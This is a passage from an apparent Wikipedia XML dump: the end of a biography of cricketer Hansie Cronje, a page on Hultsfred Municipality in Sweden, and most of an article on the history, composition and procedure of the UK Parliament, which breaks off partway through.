Born in [[Bloemfontein]], he matriculated in [[1987]] from the prestigious [[Grey College]] school in Bloemfontein.  An excellent all round sportsman, he represented the then [[Orange Free State]] in cricket and rugby at schools level.  He made his [[first-class cricket|first class]] debut playing for Orange Free State against [[Transvaal]] at [[Johannesburg]] in [[1987]]/[[1988]] at the age of 18. He made his [[Test cricket|Test]] debut against [[West Indies]] at [[Bridgetown]] in [[1991]] and [[one-day cricket|one-day international]] debut against [[Australia]] at [[Sydney]] in the [[1992 cricket World Cup]] soon after the ban on South Africa was lifted. (South Africa was banned from international cricket in [[1970]] for the [[apartheid]] policies followed by the government.).  Under his captaincy South Africa won 27 tests and lost 11.  He captained the One Day International team to 99 wins out of 138 one day internationals with one match drawn.

He scored 3,714 Test runs in 68 Test matches at an average of 36.41 with 6 Test centuries. He also took 43 Test [[wicket]]s. He scored over 5,000 ODI runs in nearly 200 ODIs at an average of 38.64 with just 2 centuries. He also took over 100 ODI wickets. He has over 10,000 first class runs at an average of 43.69 and 184 first class wickets at an average of 34.43

A highly talented young batsman, occasional [[bowling (cricket)|medium pace bowler]] and excellent tactician, Cronje began his career at Free State, captaining them at age 21, and first playing for his country at 22.  Appointed captain of South Africa in [[1993]], he led the side to Test series victories against [[New Zealand]] and [[England]].  

==Match fixing==
A devout [[Christianity|Christian]], who impressed as much with his demeanour off the field as his ability on, it came as a great shock to the cricketing world when, in April [[2000]], he confessed to being involved with the largest match fixing scandal yet uncovered, receiving gifts and money from [[bookmaker]]s to provide information on team selection, pitch information and notification as to when he would declare as well as influence the results of games.  One particular incident  which came to light during the King commission was when he succeeded in persuading [[Herschelle Gibbs]] and Henry Williams (a seam bowler) to join him in influencing a One Day International at Nagpur in India.  Gibbs was supposed to score less than 20 runs and Henry was supposed to concede more than 50 runs.  When this information came to light both players were suspended from playing international cricket for 6 months.

Convicted by the [[King Commission]], Hansie Cronje was banned from playing or coaching cricket for life.

==Plane crash==
On [[1 June]] [[2002]] Hansie Cronje missed a scheduled flight home from Bloemfontein to [[George, South Africa|George]] and instead hitched a ride as the only passenger on a cargo flight in a [[Hawker Siddeley]] 748 turboprop aircraft. Near George airport, the pilots lost visibility in cloud, and were unable to land, partly due to unserviceable navigational equipment. While circling, the plane crashed into the [[Outeniqua]] mountains northeast of the airport. Hansie Cronje and the two pilots were killed.

==See also==
*[[Declaration and forfeiture]] - Cronje was the only Test captain to ever forfeit an innings
*[[List of South Africans]] - voted 11 in the [[SABC3's Great South Africans]]
*[[List of people who died in aviation-related incidents]]
*[[List of Born-again Christian Laypeople]]

[[Category:1969 births|Cronje, Hansie]]
[[Category:2002 deaths|Cronje, Hansie]]
[[Category:Free State cricketers|Cronje, Hansie]]
[[Category:Leicestershire cricketers|Cronje, Hansie]]
[[Category:Plane crash victims|Cronje, Hansie]]
[[Category:South African ODI cricketers|Cronje, Hansie]]
[[Category:South African Test cricketers|Cronje, Hansie]]
[[Category:South African all-rounders|Cronje, Hansie]]
[[Category:South African batsmen|Cronje, Hansie]]
[[Category:South African bowlers|Cronje, Hansie]]
[[Category:South African cricket captains|Cronje, Hansie]]
[[Category:South African cricketers|Cronje, Hansie]]
[[Category:South African people|Cronje, Hansie]]
[[Category:Sports scandals|Cronje, Hansie]]
[[Category:Entertainers who died in their 30s|Cronje, Hansie]]

==External Links==
*[http://www.geocities.com/sophieblakegal/hanse.mp3 Hansie confesses]
*[http://news.bbc.co.uk/sport1/hi/cricket/2021613.stm Hansie Cronje killed in a plane crash]
[[nl:Hansie Cronje]]</text>
    </revision>
  </page>
  <page>
    <title>Hultsfred Municipality</title>
    <id>13963</id>
    <revision>
      <id>33385585</id>
      <timestamp>2005-12-31T16:11:35Z</timestamp>
      <contributor>
        <username>Chris the speller</username>
        <id>525927</id>
      </contributor>
      <minor />
      <comment>/* History */ sp</comment>
      <text xml:space="preserve">{{Infobox_Kommun|
name=Hultsfred|
fullname=Hultsfred Municipality|
isocode=&amp;nbsp;|
capital=Hultsfred|
governor=|
county=[[Kalmar County]]|
province=[[Smalandia]]|
arearank=91st|
area=1,127|
areapercent=x.x|
population_as_of=2005|
populationrank=x| 
population=14,591| 
populationpercent=x.x|
populationdensity=13|
coatofarms=[[Image:Hultsfred City Arms.png|70px|Hultsfred City Arms]]|
map=[[Image:Svcmap kalmar.png|120px]]&lt;br&gt;'''Hultsfred in Kalmar County''' &lt;br&gt; [[Image:Kalmar Municipalities.png|150px]]|
location=57_30_N_15_51_E|
locationReadable=57° 30´ N 15° 51´ E
}}

'''Hultsfred Municipality''' is a [[Municipalities of Sweden|municipality]] in [[Kalmar County]], in south-eastern [[Sweden]]. The seat is in '''Hultsfred''' with 5,300 inhabitants. The municipality was created through a unification of different municipalities in [[1971]]. 

Hultsfred is known as the site of the largest [[Rock and roll|rock]] festival in Sweden, the [[Hultsfred Festival]].

== Geography ==
Basically every one of the towns of Hultsfred is situated on the railway. Besides Hultsfred, in the mid north of the municipality, there are the towns of Virserum in the south-west and other ever smaller settlements such as Lönneberga, Silverdalen and Molilla. The population of the municipality has however been decreasing with some 2,000 people in the last 10 years, as many people prefer to move to larger [[cities of Sweden]].

Much of the geography is taken up with forests, a notability for the entire province of [[Småland]], with some few scattered areas suitable for agriculture. 

== History ==
In the age known as the [[Nordic Bronze Age]], the area had some shipping of furs to northern Germany and the [[Ancient Rome|Roman]] army, but not much is known from that time other than the area being inhabited; there has also been older finds from 3,000-4,000 BC. However, from the medieval age, around 1100 AD, there still remains a few churches. 

The area continued to be inhabited mainly by farmers until the 20th century. In the 17th and 18th there was some production of iron in Kalmar Country, totalling about 10 mines; of those 2 were located to the municipality of Hultsfred. Hultsfred was a center for some military excercising companies during the 19th century, and some remaining building can be visited in the vicinity of Silverån. When the railroads through Sweden were built late in that century, Hultsfred received a population boost.

There are several folks museums around the area that keeps trace of its history.

== External links ==
* [http://www.hultsfred.se Hultsfred] - Official site
* [http://www.rockparty.se/content/english/ Hultsfred Festival] - Official site

{{Kalmar County}}

[[Category:Municipalities of Sweden]]
[[Category:Municipalities of Kalmar County]]

[[fo:Hultsfreds kommuna]]
[[nl:Hultsfred]]
[[pl:Gmina Hultsfred]]
[[sv:Hultsfreds kommun]]</text>
    </revision>
  </page>
  <page>
    <title>Parliament of the United Kingdom</title>
    <id>13964</id>
    <revision>
      <id>41027160</id>
      <timestamp>2006-02-24T16:05:01Z</timestamp>
      <contributor>
        <username>Kurando</username>
        <id>258456</id>
      </contributor>
      <minor />
      <comment>/* External links */ put in Category:Parliament of the United Kingdom</comment>
      <text xml:space="preserve">{{PoliticsUK}}

[[image:houses.of.parliament.overall.arp.jpg|thumb|right|300px|The Houses of Parliament, seen over Westminster Bridge]] 

The '''Parliament of the United Kingdom of Great Britain and Northern Ireland''' is the supreme [[legislature|legislative institution]] in the [[United Kingdom]] and [[Crown colony|British overseas territories]] (it alone has [[parliamentary sovereignty]]). At its head is the [[British monarch|Sovereign]]; it is [[bicameral]], including an [[Upper House]], called the [[House of Lords]], and a [[Lower House]], called the [[British House of Commons|House of Commons]]. The House of Lords includes two different types of members&amp;mdash;the [[Lords Spiritual]] (the senior [[clergy]] of the [[Church of England]]) and the [[Lords Temporal]] (members of the [[Peerage]]); it is a wholly unelected body. The House of Commons, on the other hand, is a [[democracy|democratically]] elected chamber. The House of Lords and the House of Commons meet in separate chambers in the [[Palace of Westminster]] (commonly known as the &quot;Houses of Parliament&quot;), in the British capital, [[London]] (more precisely, in the [[borough]]&amp;mdash;and [[city]]&amp;mdash;known as the [[City of Westminster]]). By [[constitutional convention (political custom)|constitutional convention]], all [[political minister|government ministers]], including the [[Prime Minister of the United Kingdom|Prime Minister]] are drawn exclusively from the House of Commons or House of Lords.

Parliament evolved from the ancient council which advised the Sovereign. In theory, power is vested not in Parliament, but in the &quot;[[Queen-in-Parliament]]&quot; (or &quot;King-in-Parliament&quot;). The Queen-in-Parliament is often said to be a completely sovereign authority, though such a position is debatable. In modern times, real power is vested in the democratically elected House of Commons; the Sovereign acts only as a figurehead and the powers of the House of Lords are greatly limited. 

The British Parliament is often called the &quot;Mother of Parliaments,&quot; as the legislative bodies of many nations&amp;mdash;most notably, those of the members of the [[Commonwealth of Nations|Commonwealth]]&amp;mdash;are modelled on it. However, it is a misquotation of [[John Bright]], who had actually remarked on [[18 January]] [[1865]] that &quot;England is the Mother of Parliaments&quot;, in the context of supporting demands for expanded voting rights in a country which had pioneered Parliamentary government.

==History== 
In the [[medieval]] period there were three kingdoms of [[England]], [[Scotland]] and [[Ireland]], and these developed separate parliaments. The [[Act of Union 1707|1707 Act of Union]] brought England and Scotland together under the [[Parliament of Great Britain]], and the [[Act of Union 1800|1800 Act of Union]] included Ireland under the Parliament of the United Kingdom.

===Parliament of England===
{{main|Parliament of England}}

The English Parliament can trace its origins to the [[Anglo-Saxon]] [[Witenagemot]]. In [[1066]] [[William I of England|William of Normandy]] brought a [[feudal system]] where he sought the advice of a council of tenants-in-chief and [[ecclesiastic]]s  before making laws. In [[1215]] the tenants-in-chief secured from [[John of England|John]] the [[Magna Carta]], which established that the King may not levy or collect any taxes (except the feudal taxes to which they were hitherto accustomed), save with the consent of his royal council which slowly developed into a Parliament. In [[1265]], [[Simon de Montfort, 6th Earl of Leicester]] summoned the first [[election|elected]] Parliament. The franchise in parliamentary elections for [[county]] constituencies was uniform throughout the country, extending to all those who owned the freehold of land to an annual rent of 40 shillings ([[Forty-shilling Freeholders]]). In the [[Borough#Parliamentary boroughs|boroughs]], the franchise varied across the country; individual boroughs had varying arrangements. This set the scene for the so-called &quot;[[Model Parliament]]&quot; of [[1295]] adopted by [[Edward I of England|Edward I]]. By the reign of [[Edward III of England|Edward III]] Parliament had been separated into two Houses: one, including the nobility and higher clergy, the other, including the knights and burgesses, and no law could be made, nor any tax levied, without the consent of both Houses as well as of the Sovereign.

When [[Elizabeth I of England|Elizabeth I]] was succeeded in [[1603]] by the [[Scotland|Scottish]] King James VI who also became [[James I of England]] the countries both came under his personal rule but each retained its own Parliament. James I's successor, [[Charles I of England|Charles I]], quarrelled with Parliament and after he provoked the [[Wars of the Three Kingdoms]] their dispute developed into the [[English Civil War]]. Charles was executed in [[1649]] and under [[Oliver Cromwell]]'s [[Commonwealth of England]] the House of Lords was abolished, and the House of Commons remained subordinate to Cromwell. After Cromwell's death [[English Restoration|the Restoration]] of [[1660]] restored the monarchy and the House of Lords.

Amidst fears of a [[Roman Catholic]] succession, the [[Glorious Revolution]] of [[1688]] deposed [[James II of England|James II]] in favour of the joint rule of [[Mary II of England|Mary II]] and [[William III of England|William III]] whose agreement to the [[English Bill of Rights]] introduced a [[constitutional monarchy]], though the supremacy of the Crown still remained clear.

===Parliament of Scotland===
{{main|Parliament of Scotland}}

From the time of [[Kenneth I of Scotland|Kenneth mac Alpin]] the Scottish kingdom of [[Alba]] was ruled by chieftains and petty kings under the suzerainty of a High King, all offices being filled through election by an assembly under a system known as [[tanistry]] which combined a hereditary element with the consent of those ruled. After [[Macbeth I of Scotland|Macbeth]] was overthrown by [[Malcolm III of Scotland|Malcolm III]] in [[1057]] the feudal system of [[primogeniture]] was introduced as Scotland came under the influence of the [[Norman Conquest]]. 

In the [[Middle Ages]] the King's Council of Bishops and Earls evolved into a parliament, becoming the &quot;[[colloquium]]&quot; of [[1235]] which already had a political and judicial role. From [[1326]] the &quot;[[Estates of the realm|three estates]]&quot; had clerics, lay tenants-in-chief and the [[burgh]] commissioners sitting in a single chamber, with powers over taxation and a strong influence over justice, foreign policy, war, and legislation. The three estates chose a committee called the ''Lords of the Articles'' to draft legislation which was then presented to the full assembly to be confirmed.

Following the [[Reformation]] and pressure from the [[Church of Scotland|Kirk]], Catholic clergy were excluded from [[1567]], and after [[protestant]] bishops were abolished in [[1638]] Parliament became an entirely lay assembly. During the reign of [[James VI of Scotland|James VI]], the Lords of the Articles came more under the influence of the crown, and following his accession to the throne of England in [[1603]] he used them to run Scotland from [[London]]. During the [[Wars of the Three Kingdoms]] in the [[Covenanters|Covenanting]] period ([[1638]]&amp;ndash;[[1651]]) the Scottish Parliament took control of the executive, effectively wresting sovereignty from King [[Charles I of England|Charles I]]. After Scotland was invaded by [[Oliver Cromwell]] his [[Commonwealth of England|Commonwealth]] government imposed a brief Anglo-Scottish parliamentary union in [[1657]].

The Scottish Parliament returned after the Restoration of [[Charles II of England|Charles II]] to the throne in [[1660]]. After the [[Glorious Revolution]] formally changed England's monarch in February [[1689]] [[William III of England|William]] summoned a Convention of the Estates which considered letters from himself and from [[James II of England|James VII]], set out its terms and duly proclaimed William and [[Mary II of England|Mary II]] at [[Edinburgh]] on [[April 11]] [[1689]].

===Parliament of Ireland===
{{main|Parliament of Ireland}}

The Irish Parliament was founded to represent the English community in the [[Lordship of Ireland]] while the native or [[Gaels|Gaelic]] Irish were ineligible to vote or stand for office, the first known meeting being in [[1264]]. The English presence shrank to an enclave around [[Dublin]] known as the [[Pale]]. 

In [[1541]] [[Henry VIII of England|Henry VIII]] declared the [[Kingdom of Ireland]] and embarked on the [[Tudor re-conquest of Ireland]]. The Gaelic Irish lords were now entitled to attend the Irish Parliament as equals to the majority of English descent. Disputes followed the introduction of [[Protestant Reformation| Protestantism]] as the state religion when most of the population remained [[Roman Catholic]], and in [[1613]]&amp;ndash;[[1615]] constituencies were fixed so that Protestant settlers held the majority in the Irish Parliament. After the [[Irish Rebellion of 1641]], Irish Catholics were barred from voting or attending the Parliament altogether in the [[Cromwellian conquest of Ireland|Cromwellian]] [[Act of Settlement 1652]].

Under [[James II of England|James II &amp; VII]] the Catholics regained ground and during the [[Williamite war in Ireland|Jacobite war in Ireland]] he agreed to the Irish Parliament's demands for autonomy and restitution of lands, but after the victory of [[William III of England]] these gains were reversed with the [[Penal Laws]] making things worse. [[Poyning's Law]] made the Irish legislature subordinate to the [[Parliament of Great Britain]], but the [[Constitution of 1782]] removed these restrictions and about a decade later Catholics gained the right to vote, though they were still debarred from membership.

===Parliament of Great Britain===
{{main|Parliament of Great Britain}}

Following the [[Treaty of Union 1707|Treaty of Union]] in [[1707]] twin [[Act of Union 1707|Acts of Union]] were passed in both the [[Parliament of England]] and the [[Parliament of Scotland]] which created a new [[Kingdom of Great Britain]].  The Acts dissolved both parliaments, replacing them with a new ''Parliament of the Kingdom of Great Britain'' based in the former home of the English parliament.  While [[Scots law]] and Scottish legislation remained separate, the legislation was now dealt with by the new parliament.

After the [[Hanoverian]] [[George I of Great Britain|George I]] ascended the Throne in [[1714]] power began to shift from the Sovereign, and by the end of his reign the position of the ministers&amp;mdash;who would in turn have to rely on Parliament for support&amp;mdash;was cemented. Towards the end of the [[18th century]] the monarch still had considerable influence over [[Parliament]] which itself was dominated by the English aristocracy and by patronage. At [[general election]]s the vote was restricted to landed gentry, in constituencies which were out of date so that in many [[rotten borough]]s seats could be bought while major cities remained unrepresented. Reformers and [[Radicalism (historical)|Radical]]s sought parliamentary reform, but as the [[Napoleonic Wars]] developed the government became repressive and progress toward reform was stalled.

===Parliament of the United Kingdom===
The [[United Kingdom of Great Britain and Ireland]] was created in [[1801]] by the merger of the [[Kingdom of Great Britain]] and the [[Kingdom of Ireland]].

The principle of ministerial responsibility to the Lower House did not develop until the [[nineteenth century]]. The House of Lords was superior to the House of Commons both in theory and in practice. Members of the House of Commons were elected in an antiquated [[electoral system]], under which [[constituency|constituencies]] of vastly different sizes existed. Thus, the borough of [[Old Sarum]], with seven voters, could elect two members, as could the borough of [[Dunwich]], which had completely disappeared into the sea due to land erosion. In many cases, members of the Upper House controlled tiny constituencies, known as pocket boroughs or [[rotten borough]]s, and could ensure the election of their relatives or supporters. Many seats in the House of Commons were &quot;owned&quot; by the Lords. After the reforms of the nineteenth century (beginning in [[1832]]), the electoral system in the Lower House was much more regularised. No longer dependent on the Upper House for their seats, members of the House of Commons began to grow more assertive.

===Modern era===
The supremacy of the House of Commons was clearly established during the early [[twentieth century]]. In [[1909]], the Commons passed the so-called &quot;People's Budget,&quot; which made numerous changes to the taxation system in a manner detrimental to wealthy landowners. The House of Lords, which mostly consisted of powerful landowning aristocrats, rejected the Budget. On the basis of the Budget's popularity and the Lords' consequent unpopularity, the [[Liberal Party (UK)|Liberal Party]] won a [[general election]] in [[1910]]. Using the result as a mandate, the Liberal [[Prime Minister]], [[Herbert Henry Asquith]], introduced the Parliament law, which sought to restrict the powers of the House of Lords. (He did not reintroduce the land tax provision of the People's Budget.) When the Lords refused to pass the bill, Asquith approached the King and requested the creation of several hundred Liberal peers so as to erase the [[Conservative Party (UK)|Conservative]] majority in the House of Lords. In the face of such a threat, the House of Lords reluctantly passed the bill. The [[Parliament Act|Parliament Act 1911]], as it became known, allowed the Lords to delay a bill for a maximum of three sessions (reduced to two sessions in [[1949]]), after which it could become law over their objections.

The [[Irish Free State]] became independent in [[1922]] and in [[1927]] the UK was renamed as the United Kingdom of Great Britain and Northern Ireland.

Further reforms to the House of Lords have been made during the twentieth century. In [[1958]], the Life Peerages Act authorised the regular creation of [[life peerage]] dignities. By the [[1960s]], the regular creation of hereditary peerage dignities had ceased; thereafter, almost all new peers were life peers only. More recently, the [[House of Lords Act 1999]] has removed the automatic right of hereditary peers to sit in the Upper House (although it made an exception for ninety-two of them on a temporary basis). The House of Lords is now a chamber that is, in practice, subordinate to the House of Commons.

The [[Scottish Parliament]] was established as the national [[unicameral]] [[legislature]] of [[Scotland]] by the [[Scotland Act 1998]], and held its first meeting as a devolved legislature on [[12 May]] [[1999]].

==Composition==
At the head of Parliament is the British Sovereign. The Sovereign's role, however, is merely ceremonial; in practice, he or she always acts on the advice of the [[Prime Minister of the United Kingdom|Prime Minister]] and other ministers, who are in turn accountable to the two Houses of Parliament. 

The Upper House, the House of Lords, is mostly made up of appointed members (&quot;Lords of Parliament&quot;). The whole House is formally styled ''The Right Honourable The Lords Spiritual and Temporal in Parliament Assembled'', the Lords Spiritual being clergymen of the [[Church of England]] and the Lords Temporal being [[Peerage|Peers of the Realm]]. The Lords Spiritual and Lords Temporal are considered separate &quot;[[Estates of the realm|estates]],&quot; but they sit, debate and vote together.

The Lords Spiritual formerly included all of the senior clergymen of the Church of England&amp;mdash;archbishops, bishops, abbots and priors. Upon the Dissolution of the Monasteries under Henry VIII, however, the abbots and priors lost their positions in Parliament. All diocesan bishops continued to sit in Parliament, but the Bishopric of Manchester Act 1847 and later acts provide that only the twenty-six most senior are Lords Spiritual. These twenty-six always include the incumbents of the &quot;five great [[episcopal see|sees]],&quot; namely, the [[Archbishop of Canterbury]], the [[Archbishop of York]], the [[Bishop of London]], the [[Bishop of Durham]] and the [[Bishop of Winchester]]. The remaining twenty-one Lords Spiritual are the most senior diocesan bishops, ranked in order of [[consecration]].

The Lords Temporal are all members of the [[Peerage]]. Formerly, they included hereditary peers, of the ranks of Duke, Marquess, Earl, Viscount and Baron. The right of some hereditary peers to sit in Parliament was not automatic: after Scotland and England united into Great Britain in 1707, it was provided that all peers whose dignities had been created by English Kings could sit in Parliament, but those whose dignities had been created by Scottish Kings were to elect a limited number of &quot;representative peers.&quot; A similar arrangement was made in respect of Ireland when that nation merged with Great Britain in 1801. But when Southern Ireland left the United Kingdom in 1922, the election of Irish representative peers ceased. By the [[Peerage Act 1963]], the election of Scottish representative peers also ended, but all Scottish peers were granted the right to sit in Parliament. Under the House of Lords Act 1999, only life peerage dignities (that is to say, peerage dignities which cannot be inherited) automatically entitle their holders to seats in the House of Lords. Of the hereditary peers, only ninety-two&amp;mdash;the individuals exercising the offices of [[Earl Marshal]] and [[Lord Great Chamberlain]], in addition to ninety hereditary peers elected by other peers&amp;mdash;retain their seats in the House. 

The Commons, the last of the &quot;estates&quot; of the Kingdom, are represented in the House of Commons, which is formally styled ''The Honourable The Commons in Parliament Assembled''. The House currently consists of 646 members.  Until the 2005 general election, the House consisted of 659 members, but the number of Scottish Members of Parliament was reduced by the [[Scottish Parliament (Constituencies) Act 2004]]. Each &quot;Member of Parliament&quot; or &quot;MP&quot; is chosen by a single constituency according to the [[First Past the Post electoral system|First-Past-the-Post]] electoral system. Universal adult [[suffrage]] exists for those 18 and over; citizens of the United Kingdom, as well as citizens of the [[Republic of Ireland]] and of [[Commonwealth of Nations|Commonwealth nations]] resident in the United Kingdom, are qualified to vote. The term of members of the House of Commons depends on the term of Parliament; a [[general election]], during which all the seats are contested, occurs after each dissolution (see below). 

The three components of Parliament are supposed to be kept separate from each other; no individual may form a part of more than one component of Parliament. Lords of Parliament are legally barred from voting in elections for members of the House of Commons; furthermore, the Sovereign by convention does not vote, although there is no statutory impediment.

==Procedure==
Each of the two Houses of Parliament is presided over by a Speaker. In the House of Lords, the [[Lord Chancellor]], a member of the Cabinet, is the ''ex officio'' Speaker. Where there is a vacancy in the office, a Speaker may be appointed by the Crown. Deputy Speakers, who take the place of an absent Lord Chancellor, are also chosen by the Crown.

The House of Commons has the right to elect its own [[Speaker of the British House of Commons|Speaker.]] Theoretically, the approval of the Sovereign is required before the election becomes valid, but it is, by modern conventions, always granted. The Speaker's place may be taken by three deputies, known as the Chairman, First Deputy Chairman and Second Deputy [[Chairman of Ways and Means]]. (They take their name from the Committee of Ways and Means, of which they were once presiding officers, but which no longer exists.)

In general, the Lord Chancellor's influence as Speaker is very limited, whilst the powers belonging to the Speaker of the House of Commons are vast. Decisions on points of order and on the disciplining of unruly members are made by the whole body in the Upper House, but by the Speaker alone in the Lower House. Speeches in the House of Lords are addressed to the House as a whole (using the words &quot;My Lords&quot;), but those in the House of Commons are addressed to the Speaker alone (using the words &quot;Mr Speaker&quot; or &quot;Madam Speaker&quot;). 

Both Houses may decide questions with voice voting; members shout out &quot;Aye&quot; and &quot;No&quot; (in the House of Commons), or &quot;Content&quot; and &quot;Not-Content&quot; (in the House of Lords), and the presiding officer declares the result. The pronouncement of the Lord Chancellor or Speaker may be challenged, and a recorded vote (known as a [[division (vote)|division]]) demanded. (The Speaker of the House of Commons may choose to overrule a frivolous request for a division, but the Lord Chancellor does not possess an equivalent power.) In each House, a division requires members to file into one of the two lobbies alongside the Chamber; their names are recorded by clerks, and their votes are counted as they exit the lobbies to re-enter the Chamber. The Speaker of the House of Commons, who is expected to remain non-partisan, does not cast a vote except in the case of a tie; the Lord Chancellor, however, votes along with the other Lords.

(For further details on procedure, see the separate articles on the [[House of Lords]] and the [[British House of Commons|House of Commons]].)

==Term==
Following a general election, a new Parliamentary session begins. Parliament is formally summoned forty days in advance by the Sovereign, who is considered the source of parliamentary authority. On the day indicated by the Sovereign's proclamation, the two Houses assemble in their respective chambers. The Commons are then summoned to the House of Lords, where [[Lords Commissioners]] (representatives of the Sovereign) instruct them to elect a Speaker. The Commons perform the election; on the next day, they return to the House of Lords, where the Lords Commissioners confirm the election and grant the new Speaker the royal approval in the Sovereign's name.

The business of Parliament for the next few days of its session involves the taking of the [[Oath of Allegiance (UK)|oaths of allegiance]]. Once a majority of the members have taken the oath in each House, the State Opening of Parliament may occur. The Lords take their seats in the House of Lords Chamber, the Commons appear at the Bar (immediately outside the Chamber), and the Sovereign takes his or her seat on a throne. The Sovereign then reads the [[Speech from the Throne]]&amp;mdash;the content of which is determined by the Ministers of the Crown&amp;mdash;outlining the Government's legislative agenda for the upcoming year. Thereafter, each House proceeds to the transaction of legislative business. 

By custom, before considering the Government's legislative agenda, a bill is introduced ''pro forma'' in each House&amp;mdash;the [[Select Vestries Bill]] in the House of Lords and the [[Outlawries Bill]] in the House of Commons. These bills do not actually become laws; they are merely ceremonial indications of the power of each House to debate independently of the Crown. After the ''pro forma'' bill is introduced, each House debates the content of the Speech from the Throne for several days. Once each House formally sends its reply to the Speech, the proper legislative business of the House may commence. At once, each House becomes fully active in appointing committees, electing officers, passing resolutions and considering legislation.

A session of Parliament is brought to an end by a prorogation. There is a ceremony similar to the State Opening, but it is much less well-known. Normally, the Sovereign does not personally attend the prorogation ceremony in the House of Lords; rather, he or she is represented by Lords Commissioners. The next session of Parliament begins under the procedures described above, but it is not necessary to conduct another election of a Speaker or take the oaths of allegiance afresh at the beginning of such subsequent sessions. Instead, the State Opening of Parliament is proceeded to directly.

Each Parliament, after a number of sessions, comes to an end, either by the command of the Sovereign or by effluxion of time, the former being more common in modern times. The dissolution of Parliament is affected by the Sovereign, but always on the advice of the Prime Minister. The Prime Minister may seek dissolution because the time is politically advantageous to his or her party. Furthermore, if the Prime Minister loses the support of the House of Commons, he must either resign or seek dissolution of Parliament to renew his or her mandate. 

Originally, there was no fixed limit on the length of a Parliament, but the [[Triennial Act 1694]] set the maximum duration at three years. As the frequent elections were deemed inconvenient, the [[Septennial Act 1716]] extended the maximum duration to seven years, but the [[Parliament Act|Parliament Act 1911]] reduced it to five years. During the [[World War II|Second World War]], the term was temporarily extended to ten years by Acts of Parliament. Since the end of the war in [[1945]], however, the maximum term has remained five years. Modern Parliaments, however, rarely continue for the maximum duration; normally, they are dissolved earlier. For instance, the [[Fifty-Second Parliament of the United Kingdom|Fifty-Second Parliament]] assembled in [[1997]], but was dissolved after only four years.

Formerly, the demise of the Sovereign automatically brought a Parliament to an end, for the Crown was seen as the ''caput, principium, et finis'' (beginning, basis and end) of the body. It was, however, deemed inconvenient to have no Parliament at a time when succession to the Crown could be disputed. Thus, a statute passed during the reign of William III and Mary II provided that a Parliament was to continue for six months after the death of a Sovereign, unless dissolved earlier. The Representation of the People Act 1867 brought this arrangement to an end; now, demise in the Crown does not affect the duration of a Parliament.

After each Parliament concludes, a general election is held and new members of the House of Commons elected. The membership of the House of Lords, however, does not change due to dissolution. Each Parliament which assembles following a general election is deemed to be distinct from the one which just concluded. Thus, each Parliament is separately numbered, the present Parliament being the [[Fifty-Fourth Parliament of the United Kingdom]] (that is to say, the fifty-fourth Parliament summoned since the formation of the United Kingdom of Great Britain and Ireland in [[1801]]). Previous Parliaments were &quot;of Great Britain&quot; or &quot;of England.&quot;

==Legislative functions==
[[Image:PalaceOfWestminsterAtNight.jpg|right|300px|thumb|Parliament meets in the Palace of Westminster.]]
Laws can be set by Acts of the United Kingdom Parliament. While some Acts can apply to the whole of the UK including Scotland, due to the continuing separation of [[Scots law]] many Acts do not apply to Scotland and are either matched by equivalent Acts which apply to Scotland alone or, since [[1999]], by legislation set by the [[Scottish Parliament]] relating to devolved matters. 

Laws, in draft form known as bills, may be introduced by any member of either House. Usually, however, a bill is introduced by a Minister of the Crown. A bill introduced by a Minister is known as a &quot;Government Bill&quot;; one introduced by another member is called a &quot;Private Member's Bill&quot;. A different way of categorising bills involves the subject. Most bills, involving the general public, are called &quot;Public Bills&quot;. A bill that seeks to grant special rights to an individual or small group of individuals is called a &quot;Private Bill.&quot; A Private Bill which has broader public implications is called a &quot;Hybrid Bill&quot;. 

Private Members' Bills only make up about one in eight of bills, and are far less likely to be passed than government bills. There are three methods for an MP to introduce a Private Member's Bill. The Private Members' Ballots puts names into a ballot, and those who win are given time to propose a bill. The Ten Minute Rule is another method, where MPs are granted ten minutes to outline the case for a new piece of legislation. Standing Order 58 is the third method, which allows a bill to be introduced without debate if a day's notice is given to the Speaker. [[Filibuster]]ing is a danger, as an opponent to a bill can waste much of the limited time allotted to it. However, all Private Members' Bills have no chance of success if the current government opposes them, but they are on occasion used in moral issues. The bills to legalise homosexuality and abortion were Private Members' Bills, for example. Governments can sometimes attempt to use Private Members' Bills to pass things it would rather not be associated with. &quot;Handout bills&quot; are when a government hands proposed bills to MPs that win Private Members' Ballots.

Each Bill goes through several stages in each House. The first stage, called the [[first reading]], is a mere formality. At the next stage, the [[second reading]], the general principles of the bill are debated. At the second reading, the House may vote to reject the bill (by refusing to pass the motion &quot;That the Bill be now read a second time&quot;), but defeats of Government Bills are extremely rare, the last being in [[2005]].

Following the second reading, the bill is sent to a committee. In the House of Lords, the Committee of the Whole House or the Grand Committee is used. Each consists of all members of the House; the latter operates under special procedures, and is used only for uncontroversial bills. In the House of Commons, the bill is usually committed to a Standing Committee, consisting of between sixteen and fifty members, but the Committee of the Whole House is used for important legislation. Several other types of committees, including Select Committees, may be used, but are in practice only rarely employed. A committee considers the bill clause-by-clause, and reports its proposed amendments to the entire House, where further detailed consideration occurs. However a device known as the ''kangaroo'' (Standing Order 31) allows the speaker to select which amendments are debated. This device is commonly used under Standing Order 89 by the committee chairman on behalf of the government to restrict debate in committee.

Once the House considers the bill, the third reading follows. In the House of Commons, no further amendments may be made, and the passage of the motion &quot;That the Bill be now read a third time&quot; amounts to passage of the whole bill. In the House of Lords, however, further amendments to the bill may be moved. After the passage of the third reading motion mentioned above, the House of Lords must vote on another motion &quot;That the Bill do now pass.&quot; Following its passage in one House, the bill is sent to the other House. If passed in identical form by both Houses, it may be presented for the Sovereign's Assent. If, however, one House passes amendments that the other will not agree to, and the two Houses cannot resolve their disagreements, the bill fails.

Since the passage of the Parliament Act 1911, however, the power of the House of Lords to reject bills passed by the House of Commons has been restricted. Further restrictions were placed by the Parliament Act 1949. Under the Parliament Act, if the House of Commons pass a public bill in two successive sessions, and the House of Lords rejects them both times, then the Commons may direct that the bill be presented to the Sovereign for his or her Assent, disregarding the rejection of the Bill in the House of Lords. In each case, the bill must be passed by the House of Commons at least one calendar month before the end of the session. The provision does not apply to bills originated in the House of Lords, to bills seeking to extend the duration of a Parliament beyond five years or to Private Bills. A special procedure applies in relation to bills classified by the Speaker of the House of Commons as &quot;Money Bills&quot;. A Money Bill ''solely'' concerns national taxation or public funds; the Speaker's certificate is deemed conclusive under all circumstances. If the House of Lords fails to pass a Money Bill within one month of its passage in the House of Commons, the Lower House may direct that the Bill be submitted for the Sovereign's Assent immediately.

